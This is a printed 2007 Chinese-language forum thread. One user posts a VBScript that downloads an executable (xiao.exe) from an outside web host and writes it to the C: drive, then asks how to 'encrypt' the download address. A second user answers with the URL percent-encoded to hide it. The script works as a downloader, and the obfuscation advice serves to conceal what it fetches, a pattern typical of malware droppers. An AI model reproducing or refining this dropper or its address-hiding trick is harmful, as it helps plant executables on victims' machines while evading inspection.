标题: -- vbs 下载中 地址的 加密问题 [打印本页]

---

作者: ooaf     时间: 2007-11-26 21:13    标题: -- vbs 下载中 地址的 加密问题

Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0    ：这里的地址能否加密？
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2      
wscript.sleep 10000

[ Last edited by ooaf on 2007-11-26 at 09:15 PM ]

---

作者: s11ss     时间: 2007-11-26 21:41
http://%64%61%6E%73%68%65%6E%68% ... 9%61%6F%2E%65%78%65

请看帖子：
http://www.cn-dos.net/forum/view ... ;highlight=%2Bs11ss

[ Last edited by s11ss on 2007-11-26 at 09:43 PM ]